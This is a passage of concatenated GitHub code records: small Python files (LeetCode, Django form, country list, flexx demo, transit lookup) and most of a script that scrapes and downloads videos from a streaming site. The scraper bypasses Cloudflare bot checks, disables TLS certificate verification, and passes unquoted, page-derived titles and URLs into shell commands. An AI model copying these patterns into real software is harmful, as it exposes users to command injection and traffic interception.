sys.exit(aplicativo.exec_())\n","repo_name":"mauriciobenjamin700/hawk_eyes_lol","sub_path":"APP_QT/Telas/geral.py","file_name":"geral.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23088361990","text":"class Solution(object):\n def sortedSquares(self, A):\n \"\"\"\n :type A: List[int]\n :rtype: List[int]\n \"\"\"\n return sorted(list(map(lambda x: x * x, A)))\n\n\nif __name__ == \"__main__\":\n arr = [-4,-1,0,3,10]\n t = Solution()\n print(t.sortedSquares(arr))","repo_name":"LuckyDogg/LeetCodePython","sub_path":"LeetCode977.py","file_name":"LeetCode977.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"74074749190","text":"from django import forms\nfrom core.validators import *\nfrom core.models import Contact\nfrom user.forms.utils import iterate_error_list\n\nclass ContactForms(forms.ModelForm):\n class Meta:\n model = Contact\n fields = '__all__'\n widgets = {\n 'full_name': forms.TextInput(attrs={'class':'form-control fw-semibold text-primary fs-5 py-0'}),\n 'email': forms.EmailInput(attrs={'class':'form-control fw-semibold text-primary fs-5 py-0'}),\n 'phone': forms.TextInput(attrs={'class':'form-control fw-semibold text-primary fs-5 py-0'}),\n 'message': forms.Textarea(attrs={'class':'form-control fw-semibold text-primary fs-5 py-0'}),\n }\n labels = {\n 'full_name': 'Nome completo',\n 'email': 'Email',\n 'phone': 'Telefone',\n 'message': 'Mensagem',\n }\n\n def clean(self):\n full_name = self.cleaned_data.get('full_name')\n phone = self.cleaned_data.get('phone')\n message = self.cleaned_data.get('message')\n errors_list = {}\n \n non_numeric_field(full_name, 'full_name', errors_list)\n phone_valid(phone, 'phone', errors_list)\n message_valid(message, 'message', errors_list)\n\n iterate_error_list(errors_list, self)\n return self.cleaned_data\n","repo_name":"BunoQueiroz/mercearia-django","sub_path":"apps/core/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"19861290226","text":"COUNTRY_CHOICES = (\n ('Afganistán', 'Afganistán'),\n ('Albania', 'Albania'),\n ('Alemania', 'Alemania'),\n ('Andorra', 'Andorra'),\n ('Angola', 'Angola'),\n ('Anguila', 'Anguila'),\n ('Antártida', 'Antártida'),\n ('Antigua y Barbuda', 'Antigua y Barbuda'),\n ('Antillas holandesas', 'Antillas holandesas'),\n ('Arabia Saudí', 'Arabia Saudí'),\n ('Argelia', 'Argelia'),\n ('Argentina', 'Argentina'),\n ('Armenia', 'Armenia'),\n ('Australia', 'Australia'),\n ('Austria', 'Austria'),\n ('Azerbaiyán', 'Azerbaiyán'),\n ('Bahamas', 'Bahamas'),\n ('Bangladés', 'Bangladés'),\n ('Barbados', 'Barbados'),\n ('Baréin', 'Baréin'),\n ('Bélgica', 'Bélgica'),\n ('Belice', 'Belice'),\n ('Benín', 'Benín'),\n ('Bielorrusia', 'Bielorrusia'),\n ('Birmania', 'Birmania'),\n ('Bolivia', 'Bolivia'),\n ('Bosnia y Herzegovina', 'Bosnia y Herzegovina'),\n ('Botsuana', 'Botsuana'),\n ('Brasil', 'Brasil'),\n ('Brunéi', 'Brunéi'),\n ('Bulgaria', 'Bulgaria'),\n ('Burkina Faso', 'Burkina Faso'),\n ('Burundi', 'Burundi'),\n ('Bután', 'Bután'),\n ('Cabo Verde', 'Cabo Verde'),\n ('Camboya', 'Camboya'),\n ('Camerún', 'Camerún'),\n ('Canadá', 'Canadá'),\n ('Catar', 'Catar'),\n ('Chad', 'Chad'),\n ('Chile', 'Chile'),\n ('China', 'China'),\n ('Chipre', 'Chipre'),\n ('Ciudad del Vaticano', 'Ciudad del Vaticano'),\n ('Colombia', 'Colombia'),\n ('Comoras', 'Comoras'),\n ('Corea del Norte', 'Corea del Norte'),\n ('Corea del Sur', 'Corea del Sur'),\n ('Costa de Marfil', 'Costa de Marfil'),\n ('Costa Rica', 'Costa Rica'),\n ('Croacia', 'Croacia'),\n ('Cuba', 'Cuba'),\n ('Dinamarca', 'Dinamarca'),\n ('Dominica', 'Dominica'),\n ('Ecuador', 'Ecuador'),\n ('Egipto', 'Egipto'),\n ('El Salvador', 'El Salvador'),\n ('Emiratos Árabes Unidos', 'Emiratos Árabes Unidos'),\n ('Eritrea', 'Eritrea'),\n ('Eslovaquia', 'Eslovaquia'),\n ('Eslovenia', 'Eslovenia'),\n ('España', 'España'),\n ('Estados Unidos', 'Estados Unidos'),\n ('Estonia', 'Estonia'),\n ('Etiopía', 'Etiopía'),\n ('Filipinas', 'Filipinas'),\n ('Finlandia', 'Finlandia'),\n ('Fiyi', 'Fiyi'),\n ('Francia', 'Francia'),\n ('Gabón', 'Gabón'),\n ('Gambia', 'Gambia'),\n ('Georgia', 'Georgia'),\n ('Ghana', 'Ghana'),\n ('Granada', 'Granada'),\n ('Grecia', 'Grecia'),\n ('Guatemala', 'Guatemala'),\n ('Guyana', 'Guyana'),\n ('Guinea', 'Guinea'),\n ('Haití', 'Haití'),\n ('Honduras', 'Honduras'),\n ('Hungría', 'Hungría'),\n ('India', 'India'),\n ('Indonesia', 'Indonesia'),\n ('Irak', 'Irak'),\n ('Irán', 'Irán'),\n ('Irlanda', 'Irlanda'),\n ('Islandia', 'Islandia'),\n ('Islas Marshall', 'Islas Marshall'),\n ('Islas Salomón', 'Islas Salomón'),\n ('Israel', 'Israel'),\n ('Italia', 'Italia'),\n ('Jamaica', 'Jamaica'),\n ('Japón', 'Japón'),\n ('Jordania', 'Jordania'),\n ('Kazajistán', 'Kazajistán'),\n ('Kenia', 'Kenia'),\n ('Kirguistán', 'Kirguistán'),\n ('Kiribati', 'Kiribati'),\n ('Kuwait', 'Kuwait'),\n ('Laos', 'Laos'),\n ('Lesoto', 'Lesoto'),\n ('Letonia', 'Letonia'),\n ('Líbano', 'Líbano'),\n ('Liberia', 'Liberia'),\n ('Libia', 'Libia'),\n ('Liechtenstein', 'Liechtenstein'),\n ('Lituania', 'Lituania'),\n ('Luxemburgo', 'Luxemburgo'),\n ('Macedonia del Norte', 'Macedonia del Norte'),\n ('Madagascar', 'Madagascar'),\n ('Malasia', 'Malasia'),\n ('Malaui', 'Malaui'),\n ('Maldivas', 'Maldivas'),\n ('Malí', 'Malí'),\n ('Malta', 'Malta'),\n ('Marruecos', 'Marruecos'),\n ('Mauricio', 'Mauricio'),\n ('Mauritania', 'Mauritania'),\n ('México', 'México'),\n ('Micronesia', 'Micronesia'),\n ('Moldavia', 'Moldavia'),\n ('Mónaco', 'Mónaco'),\n ('Mongolia', 'Mongolia'),\n ('Montenegro', 'Montenegro'),\n ('Mozambique', 'Mozambique'),\n ('Namibia', 'Namibia'),\n ('Nauru', 'Nauru'),\n ('Nepal', 'Nepal'),\n ('Nicaragua', 'Nicaragua'),\n ('Níger', 'Níger'),\n ('Nigeria', 'Nigeria'),\n ('Noruega', 'Noruega'),\n ('Nueva Zelanda', 'Nueva Zelanda'),\n ('Omán', 'Omán'),\n ('Países Bajos', 'Países Bajos'),\n ('Pakistán', 'Pakistán'),\n ('Palaos', 'Palaos'),\n ('Panamá', 'Panamá'),\n ('Papúa Nueva Guinea', 'Papúa Nueva Guinea'),\n ('Paraguay', 'Paraguay'),\n ('Perú', 'Perú'),\n ('Polonia', 'Polonia'),\n ('Portugal', 'Portugal'),\n ('Reino Unido', 'Reino Unido'),\n ('República Centroafricana', 'República Centroafricana'),\n ('República Checa', 'República Checa'),\n ('República del Congo', 'República del Congo'),\n ('República Dominicana', 'República Dominicana'),\n ('Ruanda', 'Ruanda'),\n ('Rumanía', 'Rumanía'),\n ('Samoa', 'Samoa'),\n ('Santo Tomé y Príncipe', 'Santo Tomé y Príncipe'),\n ('Senegal', 'Senegal'),\n ('Serbia', 'Serbia'),\n ('Sierra Leona', 'Sierra Leona'),\n ('Singapur', 'Singapur'),\n ('Siria', 'Siria'),\n ('Somalia', 'Somalia'),\n ('Sri Lanka', 'Sri Lanka'),\n ('Suazilandia', 'Suazilandia'),\n ('Sudáfrica', 'Sudáfrica'),\n ('Sudán', 'Sudán'),\n ('Suecia', 'Suecia'),\n ('Suiza', 'Suiza'),\n ('Surinam', 'Surinam'),\n ('Tailandia', 'Tailandia'),\n ('Tanzania', 'Tanzania'),\n ('Tayikistán', 'Tayikistán'),\n ('Togo', 'Togo'),\n ('Trinidad y Tobago', 'Trinidad y Tobago'),\n ('Túnez', 'Túnez'),\n ('Turquía', 'Turquía'),\n ('Ucrania', 'Ucrania'),\n ('Uganda', 'Uganda'),\n ('Uruguay', 'Uruguay'),\n ('Uzbekistán', 'Uzbekistán'),\n ('Venezuela', 'Venezuela'),\n ('Vietnam', 'Vietnam'),\n ('Yemen', 'Yemen'),\n ('Zambia', 'Zambia'),\n ('Zimbabue', 'Zimbabue'),\n\n)\n\nMODALITY_CHOICES = (\n ('Presencial', 'Presencial'),\n ('Full - Time', 'Full - Time'),\n ('Part - Time', 'Part - Time'),\n ('Remoto', 'Remoto'),\n)","repo_name":"No-Country/C3-G21","sub_path":"techno_jobs/home/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":5832,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"22497869336","text":"# doc-export: Drawing\n\n\"\"\"\nThis example demonstrates a simple drawing app.\nAlso useful for testing canvas and its mouse / touch events.\n\"\"\"\n\nfrom flexx import flx\n\n\nclass Drawing(flx.CanvasWidget):\n\n CSS = \"\"\"\n .flx-Drawing {background: #fff; border: 5px solid #000;}\n \"\"\"\n\n def init(self):\n super().init()\n self.ctx = self.node.getContext('2d')\n self._last_pos = {}\n\n # Set mouse capturing mode\n self.set_capture_mouse(1)\n\n # Label to show info about the event\n self.label = flx.Label()\n\n def show_event(self, ev):\n if -1 in ev.touches: # Mouse\n t = 'mouse pos: {:.0f} {:.0f} buttons: {}'\n self.label.set_text(t.format(ev.pos[0], ev.pos[1], ev.buttons))\n else: # Touch\n self.label.set_text('Touch ids: {}'.format(ev.touches.keys()))\n\n @flx.reaction('pointer_move')\n def on_move(self, *events):\n for ev in events:\n self.show_event(ev)\n\n # Effective way to only draw if mouse is down, but disabled for\n # sake of example. Not necessary if capture_mouse == 1.\n # if 1 not in ev.buttons:\n # return\n\n # One can simply use ev.pos, but let's support multi-touch here!\n # Mouse events also have touches, with a touch_id of -1.\n\n for touch_id in ev.touches:\n x, y, force = ev.touches[touch_id]\n\n self.ctx.beginPath()\n self.ctx.strokeStyle = '#080'\n self.ctx.lineWidth = 3\n self.ctx.lineCap = 'round'\n self.ctx.moveTo(*self._last_pos[touch_id])\n self.ctx.lineTo(x, y)\n self.ctx.stroke()\n\n self._last_pos[touch_id] = x, y\n\n @flx.reaction('pointer_down')\n def on_down(self, *events):\n for ev in events:\n self.show_event(ev)\n\n for touch_id in ev.touches:\n x, y, force = ev.touches[touch_id]\n\n self.ctx.beginPath()\n self.ctx.fillStyle = '#f00'\n self.ctx.arc(x, y, 3, 0, 6.2831)\n self.ctx.fill()\n\n self._last_pos[touch_id] = x, y\n\n @flx.reaction('pointer_up')\n def on_up(self, *events):\n for ev in events:\n self.show_event(ev)\n\n for touch_id in ev.touches:\n x, y, force = ev.touches[touch_id]\n\n self.ctx.beginPath()\n self.ctx.fillStyle = '#00f'\n self.ctx.arc(x, y, 3, 0, 6.2831)\n self.ctx.fill()\n\n\nclass Main(flx.Widget):\n \"\"\" Embed in larger widget to test offset.\n \"\"\"\n\n CSS = \"\"\"\n .flx-Main {background: #eee;}\n \"\"\"\n\n def init(self):\n\n with flx.VFix():\n flx.Widget(flex=1)\n with flx.HFix(flex=2):\n flx.Widget(flex=1)\n Drawing(flex=2)\n flx.Widget(flex=1)\n flx.Widget(flex=1)\n\n\nif __name__ == '__main__':\n a = flx.App(Main)\n m = a.launch('firefox-browser')\n flx.start()\n","repo_name":"flexxui/flexx","sub_path":"flexxamples/demos/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":3169,"dataset":"github-code","pt":"27"} +{"seq_id":"26607632503","text":"from ott.utils import json_utils\n\nimport logging\nlog = logging.getLogger(__file__)\n\n\nstop_svc_url = \"https://maps.trimet.org/ride_ws/stop?detailed&stop_id={}\"\n\n\ndef get_stop(stop_id, agency_id=None, session=None):\n if session:\n ret_val = get_stop_from_db(session, stop_id, agency_id)\n else:\n ret_val = get_stop_from_url(stop_id, agency_id)\n return ret_val\n\n\ndef get_stop_from_url(stop_id, agency_id):\n ret_val = None\n stop_url = stop_svc_url.format(stop_id)\n ret_val = json_utils.stream_json(stop_url)\n return ret_val\n\n\ndef get_stop_from_db(session, stop_id, agency_id=None):\n try:\n ret_val = StopDao.from_stop_id(session, stop_id)\n except NoResultFound as e:\n log.warn(e)\n ret_val = data_not_found\n except Exception as e:\n log.warn(e)\n rollback_session(session)\n ret_val = system_err_msg\n finally:\n close_session(session)\n return ret_val\n","repo_name":"OpenTransitTools-BonePile/map_server","sub_path":"ott/map_server/model/stop_data.py","file_name":"stop_data.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"69801037512","text":"from ast import parse\nfrom posixpath import split\nfrom unittest import result\nfrom bs4 import BeautifulSoup\nfrom lxml import html, etree\nimport cloudscraper\nimport os, re, sys, getopt\nimport json\nimport difflib\nimport requests\nfrom time import sleep\nimport subprocess\n\n\nrequests.packages.urllib3.disable_warnings(\n requests.packages.urllib3.exceptions.InsecureRequestWarning)\n\nscraper = cloudscraper.create_scraper(\n\tbrowser={\n\t\t'browser': 'firefox',\n \t'platform': 'windows',\n \t'mobile': False\n \t}\n)\n\n\nclass Config:\n\tbase_url = \"https://www.asenshu.com\"\n\tquery = ''\n\tseason = 0\n\tepisode = 0\n\tepisodes= None\n\tmedia_type = ''\n\troot_path = os.getcwd()\n\toutput_path = ''\n\tinteractive = True\n\tautomated = False\n\twatch = False\n\ttitle = ''\n\nWhite='\\033[97m'\nRed='\\033[31m'\nGreen='\\033[32m'\nYellow='\\033[33m'\nBlue='\\033[34m'\nLYellow='\\033[92m'\nLCyan='\\033[96m'\n\ndef request(URL):\n\tpage = BeautifulSoup(scraper.get(URL).text, \"html.parser\")\n\treturn page\n\ndef post_request(URL):\n\treturn BeautifulSoup(scraper.post(URL).text, \"html.parser\")\n\n\ndef mp4_upload(URL):\n\tURL=URL.replace(\"embed-\",\"\").replace(\".html\",\"\")\n\thtml=requests.get(URL).text\n\tsoup=BeautifulSoup(html,'html.parser')\n\t\n\tparams=dict()\n\tinputs=soup.find_all('input')\n\tfor item in inputs:\n\t\tparams.update({item['name']:item['value']})\n\tresponse=requests.post(URL,data=params).text\n\n\tsoup=BeautifulSoup(response, 'html.parser')\n\tparams=dict()\n\tinputs=soup.find_all('input')\n\tfor item in inputs:\n\t\tparams.update({item['name']:item['value']})\n\tresponse=requests.post(URL,data=params,verify=False,allow_redirects=False).headers['Location']\n\treturn response\n\ndef help_text():\n\tprint(\"\"\"\nUsage:\n\tanisq [options] [input title or file]\nOptions:\n\t-h show this page\n\t-w watch instead of downloading\n\t-m search for movies only\n\t-t search for tv series only\n\t-a let the script choose the best match from the query\n\t-s set a particular season to download. By default it downloads all seasons\n\t-e set a particular episode to download. By default it downloads all episodes\n\t-o set a custom download path. By default it downloads in your current working directory\n\tYou can Also use .txt files containing lists of titles or url's as input\n\t\t\"\"\")\n\n\ndef download(referer, video):\n\tif not video:\n\t\tprint(f\"{Red}Couldn't find a suitable stream! :({White}\")\n\t\treturn 1\n\t\n\tif Config.watch:\n\t\tmpvTitle = Config.title\n\t\tif Config.media_type == \"seriale\":\n\t\t\tmpvTitle += f\" S{Config.season}-E{Config.episode}\"\n\t\t\n\t\ttry:\n\t\t\tos.system(f'mpv --referrer=\"{referer}\" \"{video}\" --force-media-title=\"{mpvTitle}\" --no-terminal')\n\t\texcept:\n\t\t\tprint(f\"{Red}Couldn't find a suitable stream! :({White}\")\n\t\t\treturn 1\n\t\t\n\t\tstreaming(mpvTitle)\n\t\texit()\n\t\n\tresponse = 1\n\ttry:\n\t\tif \"m3u\" in video:\n\t\t\tresponse = subprocess.run(f'ffmpeg -http_persistent 0 -nostdin -hide_banner -loglevel error -stats -headers \"Referer: {referer}\" -i \"{video}\" -c copy \"{Config.output_path}\"', check = True)\n\t\telse:\n\t\t\tresponse = subprocess.run(f'ffmpeg -nostdin -hide_banner -loglevel error -stats -headers \"Referer: {referer}\" -i \"{video}\" -c copy \"{Config.output_path}\"', check = True)\n\texcept:\n\t\tresponse = 1\n\treturn response\n\n\ndef streaming(mpvTitle):\n\tos.system('clear') if os.name == 'posix' else os.system('cls')\n\tprint(f\"{Blue}Streamed {mpvTitle}. {White}\")\n\n\toptions = ['r', 'q']\n\n\tif Config.media_type == \"seriale\":\n\t\tif int(Config.episode) < len(Config.episodes):\n\t\t\tprint(f\"{Red}[n]{White} Next Episode\")\n\t\t\toptions.append('n')\n\t\tif int(Config.episode) > 1:\n\t\t\tprint(f\"{Red}[p]{White} Previous Episode\")\n\t\t\toptions.append('q')\n\t\t\n\t\tprint(f\"{Red}[c]{White} Custom Episode number\")\n\t\toptions.append('c')\n\n\t\n\tprint(f\"{Red}[r]{Green} Replay\")\n\tprint(f\"{Red}[q]{Green} Quit\")\n\n\tchoice = input(White + f\"Write your input: \")\n\n\tif choice in options:\n\t\tif(choice == \"n\"):\n\t\t\tConfig.episode = int(Config.episode) + 1\n\t\t\tparse_embed(Config.episodes[int(Config.episode)]['url'])\n\t\telif(choice == \"p\"):\n\t\t\tConfig.episode = int(Config.episode) - 1\n\t\t\tparse_embed(Config.episodes[int(Config.episode)-2]['url'])\n\t\telif(choice == \"r\"):\n\t\t\tparse_embed(Config.episodes[int(Config.episode)-1]['url'])\n\t\telif(choice == \"c\"):\n\t\t\tchoice = input(White + f\"Write a number between [{Red}1-{len(Config.episodes)}{White}]: \")\n\t\t\ttry:\n\t\t\t\tchoice = int(choice)\n\t\t\texcept:\n\t\t\t\tchoice = 0\n\t\t\twhile choice == 0 or int(choice) > len(Config.episodes):\n\t\t\t\tchoice = input(\"Wrong Input. Try Again: \")\n\t\t\t\ttry:\n\t\t\t\t\tchoice = int(choice)\n\t\t\t\texcept:\n\t\t\t\t\tchoice = 0\n\t\t\tchoice = int(choice)\n\t\t\tConfig.episode = choice\n\t\t\tparse_embed(Config.episodes[choice-1]['url'])\n\telse:\n\t\treturn\n\t\n\ndef clean_link(link):\n\tif not link:\n\t\treturn ''\n\n\tlink = re.sub('\",', '\"', link)\n\tlink = re.sub('\"', '', link)\n\tlink = re.sub('\\'', '', link)\n\tlink = re.sub('\\',', '', link)\n\tlink = re.sub('m3u8,', '', link)\n\t\n\treturn link\n\ndef generic_scraper(referer):\n\tpage = str(request(referer))\n\tmp4 = re.findall(r'https://.*[^\"].m3u8', page)\n\n\tif not mp4:\n\t\tmp4 = ['']\n\t#\tmp4 = re.findall(r'*https://.*([^\",]*.mp4.*)', page)\n\n\treturn clean_link(mp4[0])\n\ndef parse_embed(URL):\n\tsoup = request(URL)\n\tpage_str = str(soup)\n\tpage = html.fromstring(page_str).getroottree()\n\treferers = page.xpath('//*[@id=\"info\"]/div/p[2]/a/@href')\n\t\n\tif Config.media_type == \"filma\":\n\t\tembed_title = page.xpath('//*[@id=\"single\"]/div[2]/div[2]/div[2]/h1/text()')[0]\n\telse:\n\t\tembed_title = page.xpath('//*[@id=\"info\"]/h1/text()')[0]\n\t\n\tfix_title()\n\n\tif not Config.watch:\n\t\tif (Config.title == ''):\n\t\t\tConfig.title = page.xpath('//*[@id=\"info\"]/h1/text()')[0]\n\t\t\tfix_title()\n\n\t\tif Config.media_type == 'seriale':\n\t\t\tsplit_title = str(embed_title).split(\" \")\n\t\t\tseason_nr = split_title[len(split_title)-1].split(\"x\")[0]\n\t\t\tepisode_nr = split_title[len(split_title)-1].split(\"x\")[1]\n\t\t\tConfig.output_path = f\"{Config.root_path}/{Config.title}/{Config.title} - S{season_nr}E{episode_nr}.mkv\"\n\t\t\n\t\t\tif os.path.exists(str(Config.output_path)):\n\t\t\t\tif is_file_incomplete():\n\t\t\t\t\tprint(f\"{Green}Episode is Downloaded. {White}\")\n\t\t\t\t\treturn 1\n\n\t\telse:\n\t\t\tConfig.output_path = f\"{Config.root_path}/{Config.title}.mkv\"\n\t\t\tfix_title()\n\n\t\t\tif os.path.exists(str(Config.output_path)):\n\t\t\t\tif is_file_incomplete():\n\t\t\t\t\tprint(f\"{Green}Movie is Downloaded. {White}\")\n\t\t\t\t\treturn 1\n\t\n\tvideo = ''\n\tfor referer in referers:\n\t\tif 'fembed' in referer or 'suzihaza' in referer or 'femax' in referer:\n\t\t\tprint(f\"{LYellow}Trying to download from stream: {referer}{White}\")\n\t\t\treferer = re.sub(\"/v/\", '/f/', referer)\n\t\t\tvideoid = re.sub(\".*/f/\", '', referer)\n\t\t\tres = str(post_request(f'https://vanfem.com/api/source/{videoid}'))\n\t\t\tres = json.loads(res)\n\n\t\t\t\n\t\t\ttry:\n\t\t\t\tvideo = res['data'][len(res['data'])-1]['file']\n\t\t\texcept:\n\t\t\t\tvideo = ''\n\t\t\tres = download(referer, video)\n\t\t\tif (res == 0):\n\t\t\t\tbreak\n\t\t\n\t\telif 'mp4upload' in referer:\n\t\t\t\tprint(f\"{LYellow}Trying to download from stream: {referer}{White}\")\n\t\t\t\tvideo = mp4_upload(referer)\n\t\t\t\tres = download(referer, video)\n\t\t\t\tif (res == 0):\n\t\t\t\t\tbreak\n\t\telse:\n\t\t\tvideo = generic_scraper(referer)\n\t\t\t\n\t\t\tif not video:\n\t\t\t\tmp4u_href = re.findall(r'\"https://www.mp4upload.*?\"', page_str)\n\t\t\t\tif mp4u_href:\n\t\t\t\t\treferer = re.sub(\"\\\"\", \"\", mp4u_href[0])\n\t\t\t\t\tvideo = mp4_upload(referer)\n\t\t\tprint(f\"{LYellow}Trying to download from stream: {referer}{White}\")\n\t\t\tres = download(referer, video)\n\t\t\tif (res == 0):\n\t\t\t\tbreak\n\n\t\tif os.path.exists(Config.output_path):\n\t\t\tif is_file_incomplete():\n\t\t\t\treturn 1\n\n\ndef is_file_incomplete():\n\ttry:\n\t\tdur = subprocess.run([\"ffprobe\", \"-v\", \"error\", \"-show_entries\",\n \"format=duration\", \"-of\",\n \"default=noprint_wrappers=1:nokey=1\", str(Config.output_path)],\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n\t\tif float(dur.stdout) <= 600:\n\t\t\tos.remove(str(Config.output_path))\n\t\t\treturn 0\n\t\telse:\n\t\t\treturn 1\n\texcept:\n\t\tos.remove(str(Config.output_path))\n\t\treturn 0\n\ndef fix_title():\n\tConfig.title = re.sub(':', '', Config.title)\n\ndef parse_seasons(URL):\n\tpage = str(request(URL))\n\tpage = html.fromstring(page).getroottree()\n\ttitles = page.xpath('//*[@class=\"episodios\"]//li/div[2]/text()')\n\turls = page.xpath('//*[@class=\"episodios\"]//li/div[3]/a/@href')\n\n\tepisode_list = []\n\tfor i, item in enumerate(titles):\n\t\t\tif '- --' in titles[i] or '- 0' in titles[i]:\n\t\t\t\t\tcontinue\n\t\t\tepisode_list.append({'title': titles[i], 'url': urls[i]})\n\n\tif not episode_list:\n\t\t\tprint(f\"{Red}Series not found! :(\")\n\n\n\n\tConfig.title = page.xpath('//*[@id=\"single\"]/div[1]/div[1]/div[2]/h1/text()')[0]\n\tif not Config.watch:\n\t\t\tprint(\"Creating Series Folder\")\n\t\t\tfix_title()\n\t\t\tpath = os.path.join(Config.root_path, Config.title)\n\t\t\tif not os.path.exists(path):\n\t\t\t\t\tos.makedirs(path)\n\n\tseasoned_episode_list = []\n\tchosen_ep = 0\n\tif int(Config.season) > 0:\n\t\t\tmatcher = str(Config.season) + \" - \"\n\t\t\tfor e in episode_list:\n\t\t\t\t\tif matcher in e['title']:\n\t\t\t\t\t\t\tseasoned_episode_list.append(e)\n\t\t\tepisode_list = seasoned_episode_list\n\telse:\n\t\tConfig.season = 1\n\n\tConfig.episodes = episode_list\n\n\tif int(Config.episode) > 0:\n\t\t\tmatcher = \"- \" + str(Config.episode)\n\t\t\tfor e in episode_list:\n\t\t\t\t\t\t\tif matcher in e['title']:\n\t\t\t\t\t\t\t\t\tchosen_ep = e\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\tif chosen_ep != 0:\n\t\t\t\t\tepisode_list = []\n\t\t\t\t\tepisode_list.append(chosen_ep)\t\t\t\n\telse:\n\t\tif Config.watch:\n\t\t\t\tchosen_ep = choose_episode(episode_list)\n\t\t\t\tepisode_list = []\n\t\t\t\tepisode_list.append(chosen_ep)\n\t\telse:\n\t\t\tConfig.episode = 1\n\n\tif Config.watch:\n\t\t\tprint(f\"Starting stream for {Config.title} [{episode_list[0]['title']}]\")\n\t\t\tparse_embed(episode_list[0]['url'])\n\t\t\texit()\n\n\tfor e in episode_list:\n\t\t\tprint(f\"{Blue}Downloading {Config.title} [{e['title']}] {White}\")\n\t\t\tparse_embed(e['url'])\n\n\ndef choose_episode(ep_list):\n\tchoice = input(White + f\"Write episode number between [{Green}1-{len(ep_list)}{White}]: \")\n\ttry:\n\t\tchoice = int(choice)\n\texcept:\n\t\tchoice = 0\n\twhile choice == 0 or int(choice) > len(ep_list):\n\t\tchoice = input(\"Wrong Input. Try Again: \")\n\t\ttry:\n\t\t\tchoice = int(choice)\n\t\texcept:\n\t\t\tchoice = 0\n\tchoice = int(choice)\n\tConfig.episode = choice\n\treturn ep_list[choice - 1]\n\ndef search():\n\tquery = re.sub(\" \", \"+\", Config.query)\n\tpage = str(request(f\"{Config.base_url}/?s={query}\"))\n\tpage = html.fromstring(page).getroottree()\n\tresult = page.xpath('//*[@id=\"contenedor\"]/div[3]/div[1]/div/*[@class=\"result-item\"]/article/div[2]/div[1]/a')\n\tif not result:\n\t\tprint(f\"{Red}No results found with this query :/{White}\")\n\t\tsys.exit()\n\t\n\tresult_list = []\n\n\tfor r in result:\n\t\turl = r.attrib['href']\n\t\tmedia_type = 'filma' if '/filma/' in url else 'seriale'\n\t\tif Config.media_type in url:\n\t\t\tobj = {'title':r.text_content(), 'url':url, 'type': media_type}\n\t\t\tresult_list.append(obj)\n\n\tif Config.interactive:\n\t\tif len(result_list) == 1:\n\t\t\tprint(f\"Only one result found. [{result_list[0]['title']}]\\nContinuing\")\n\t\telse:\n\t\t\tfor index, r in enumerate(result_list):\n\t\t\t\ti = index + 1\n\t\t\t\tif r['type'] == 'filma':\n\t\t\t\t\tprint(f\"{LCyan}{i}. [{r['type']}] {r['title']}\")\n\t\t\t\telse:\n\t\t\t\t\tprint(f\"{LYellow}{i}. [{r['type']}] {r['title']}\")\n\n\n\t\t\tchoice = input(White + f\"Write a number between [{Red}1-{len(result_list)}{White}]: \")\n\t\t\t\n\t\t\ttry:\n\t\t\t\tchoice = int(choice)\n\t\t\texcept:\n\t\t\t\tchoice = 0\n\t\t\twhile choice == 0 or int(choice) > len(result_list):\n\t\t\t\tchoice = input(\"Wrong Input. Try Again: \")\n\t\t\t\ttry:\n\t\t\t\t\tchoice = int(choice)\n\t\t\t\texcept:\n\t\t\t\t\tchoice = 0\n\t\t\tchoice = int(choice)\n\t\t\tConfig.media_type = result_list[choice-1]['type']\n\t\t\tConfig.title = result_list[choice-1]['title']\n\t\t\tparse_title(result_list[choice-1]['url'])\n\n\n\telif len(result_list) == 1:\n\t\tConfig.media_type = result_list[0]['type']\n\t\tConfig.title = result_list[0]['title']\n\t\tparse_title(result_list[0]['url'])\n\telse:\n\t\tmatch = find_match(result_list)\n\t\tif match:\n\t\t\tConfig.media_type = match['type']\n\t\t\tConfig.title = match['title']\n\t\t\tparse_title(match['url'])\n\n\ndef find_match(list):\n\telements = []\n\tfor i, e in enumerate(list):\n\t\telements.append(e['title'])\n\n\tres = difflib.get_close_matches(str(Config.query), elements, 3, 0.7)[0]\n\n\tfor i, e in enumerate(list):\n\t\tif res == e['title']:\n\t\t\treturn e\n\t\n\treturn None\n\n\ndef parse_title(result_url):\n\tif Config.media_type == \"filma\":\n\t\treturn parse_embed(result_url)\n\telse:\n\t\treturn parse_seasons(result_url)\n\n\n\ndef init_start():\n\tif \"http\" in Config.query:\n\t\tif \"/filma/\" in Config.query or \"/episode/\" in Config.query:\n\t\t\tparse_embed(Config.query)\n\t\telse:\n\t\t\tparse_seasons(Config.query)\n\telse:\n\t\tsearch()\n\n\ndef parse_args(argv):\n\topts, args = getopt.getopt(argv, \"m:t:hwas:e:o:\")\n\tfor opt, arg in opts:\n\t\topt = opt[1:]\n\t\tif opt == \"h\":\n\t\t\thelp_text()\n\t\t\tsys.exit()\n\t\telif opt == \"m\":\n\t\t\tConfig.media_type = 'filma'\n\t\t\tConfig.query = arg\n\t\telif opt == \"t\":\n\t\t\tConfig.media_type = 'seriale'\n\t\t\tConfig.query = arg\n\t\telif opt == \"w\":\n\t\t\tConfig.watch = True\n\t\telif opt == \"a\":\n\t\t\tConfig.interactive = False\n\t\telif opt == \"s\":\n\t\t\tConfig.media_type = 'seriale'\n\t\t\tConfig.season = arg\n\t\telif opt == \"e\":\n\t\t\tConfig.media_type = 'seriale'\n\t\t\tConfig.episode = arg\n\t\telif opt == \"o\":\n\t\t\tif not os.path.exists(arg):\n\t\t\t\tprint(f\"{Red}This path doesn't exist\")\n\t\t\t\tsys.exit()\n\t\t\tConfig.root_path = arg\n\t\telse:\n\t\t\thelp_text()\n\t\t\tsys.exit()\n\n\tif args:\n\t\tConfig.query = 